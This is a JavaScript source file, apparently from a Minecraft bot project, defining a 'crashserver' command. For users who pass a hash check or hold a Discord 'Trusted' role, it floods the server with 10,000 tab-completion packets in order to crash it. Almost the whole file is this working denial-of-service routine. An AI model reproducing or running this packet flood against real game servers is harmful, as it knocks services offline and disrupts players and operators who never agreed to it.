chomens-bot-js/commands/crashserver.js

34 lines
875 B
JavaScript
Raw Normal View History

2022-10-14 04:46:41 -04:00
/* eslint-disable max-len */
module.exports = {
name: 'crashserver',
alias: [],
description: 'Crashes the server',
usage: '<hash>',
trusted: 1,
execute: function(bot, username, usernameraw, sender, prefix, args) {
if (args[0] === bot.hash) {
for (let i = 0; i < 10000; i++) {
bot.write('tab_complete', {
transactionId: 0,
text: '/',
});
}
} else {
throw new Error('Invalid hash');
}
},
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
if (message.member.roles.cache.some((role) => role.name === 'Trusted')) {
for (let i = 0; i < 10000; i++) {
bot.write('tab_complete', {
transactionId: 0,
text: '/',
});
}
} else {
throw new Error('You\'re not in the trusted role!');
}
},
};